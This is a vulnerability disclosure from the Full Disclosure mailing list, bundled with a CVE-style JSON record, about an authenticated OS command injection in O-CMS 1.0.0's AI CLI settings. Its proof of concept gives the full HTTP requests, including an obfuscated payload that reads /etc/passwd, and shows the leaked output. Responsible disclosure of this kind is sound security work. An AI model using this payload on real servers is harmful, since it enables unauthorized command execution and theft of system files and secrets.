Description (en)
Description
O-CMS version 1.0.0 contains an authenticated OS command injection
vulnerability in the AI CLI configuration functionality. An authenticated
attacker with sufficient privileges can supply shell metacharacters and
additional commands through the ai_cli_script parameter of
/admin/settings/save.
When the configured AI provider is subsequently tested through
/admin/settings/test-ai, the attacker-controlled CLI value is executed in a
shell-capable context. This allows injected operating-system commands to
execute with the privileges of the O-CMS application process.
The vulnerability was demonstrated by injecting a command that reads
/etc/passwd. Triggering the AI test functionality caused O-CMS to execute
the injected command and return contents of /etc/passwd in the HTTP
response.
Impact
An authenticated attacker can execute arbitrary operating-system commands
with the privileges of the O-CMS application process. This may result in
unauthorized access to local files, disclosure of application secrets and
credentials, modification or deletion of application data, execution of
attacker-controlled code, and potential compromise of the underlying server.
Proof of Concept
The following authenticated request stores an ai_cli_script value
containing shell command injection syntax:
POST /admin/settings/save HTTP/1.1
Host: 127.0.0.1:8080
Cookie: ocms_session=<REDACTED>
Content-Type: application/x-www-form-urlencoded
_csrf_token=<REDACTED>&ai_provider=cli&ai_cli_script=%2Ftmp%2Focms-cli%3Bcat%24%7BIFS%7D%24%28echo%24%7BIFS%7DL2V0Yy9wYXNzd2Q%3D%3D%7Cbase64%24%7BIFS%7D-d%29%3B%23
The application accepts the configuration:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
The stored CLI configuration is then executed through the AI testing
functionality:
POST /admin/settings/test-ai HTTP/1.1
Host: 127.0.0.1:8080
Cookie: ocms_session=<REDACTED>
Content-Type: application/json
{"_csrf_token":"<REDACTED>"}
O-CMS executes the injected command and returns data originating from
/etc/passwd:
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"message":"Claude CLI funziona. Risposta:
root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin\/..."}
The presence of entries such as:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
confirms successful execution of an attacker-controlled operating-system
command.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "O-CMS",
"vendor": "O",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nO-CMS version 1.0.0 contains an authenticated OS command injection\nvulnerability in the AI CLI configuration functionality. An authenticated\nattacker with sufficient privileges can supply shell metacharacters and\nadditional commands through the ai_cli_script parameter of\n/admin/settings/save.\n\nWhen the configured AI provider is subsequently tested through\n/admin/settings/test-ai, the attacker-controlled CLI value is executed in a\nshell-capable context. This allows injected operating-system commands to\nexecute with the privileges of the O-CMS application process.\n\nThe vulnerability was demonstrated by injecting a command that reads\n/etc/passwd. Triggering the AI test functionality caused O-CMS to execute\nthe injected command and return contents of /etc/passwd in the HTTP\nresponse.\nImpact\n\n An authenticated attacker can execute arbitrary operating-system commands\nwith the privileges of the O-CMS application process. This may result in\nunauthorized access to local files, disclosure of application secrets and\ncredentials, modification or deletion of application data, execution of\nattacker-controlled code, and potential compromise of the underlying server.\nProof of Concept\n\nThe following authenticated request stores an ai_cli_script value\ncontaining shell command injection syntax:\n\nPOST /admin/settings/save HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=<REDACTED>\nContent-Type: application/x-www-form-urlencoded\n\n_csrf_token=<REDACTED>&ai_provider=cli&ai_cli_script=%2Ftmp%2Focms-cli%3Bcat%24%7BIFS%7D%24%28echo%24%7BIFS%7DL2V0Yy9wYXNzd2Q%3D%3D%7Cbase64%24%7BIFS%7D-d%29%3B%23\n\nThe application accepts the configuration:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nThe stored CLI configuration is then executed through the AI testing\nfunctionality:\n\nPOST /admin/settings/test-ai HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=<REDACTED>\nContent-Type: application/json\n\n{\"_csrf_token\":\"<REDACTED>\"}\n\nO-CMS executes the injected command and returns data originating from\n/etc/passwd:\n\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"success\":true,\"message\":\"Claude CLI funziona. Risposta:\nroot:x:0:0:root:\\/root:\\/bin\\/bash\\ndaemon:x:1:1:daemon:\\/usr\\/sbin:\\/usr\\/sbin\\/nologin\\nbin:x:2:2:bin:\\/bin\\/...\"}\n\nThe presence of entries such as:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\nconfirms successful execution of an attacker-controlled operating-system\ncommand.\n\nRon Edgerson\nVulnerability Researcher & Exploit Developer\n\nCVE Research | Binary Exploitation | Application & Systems Security\nResponsible Disclosure • Proof-of-Concept Development\n\n🌐 https://github.com/ob1sec\n🔗 https://www.linkedin.com/in/ronedgerson1\n<https://linkedin.com/in/yourhandle>\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/28"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/28"
],
"discovery": "EXTERNAL"
},
"title": "O-CMS 1.0.0 Authenticated OS Command Injection via ai_cli_script",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0003",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28",
"automated": true,
"contentSha256": "7c9d6bbdb4127758a3c9c92b43d3dcfe19b3b756e00ea2aeb79faed3f81ced49",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/28",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-01T02:56:58Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T10:10:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0003"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}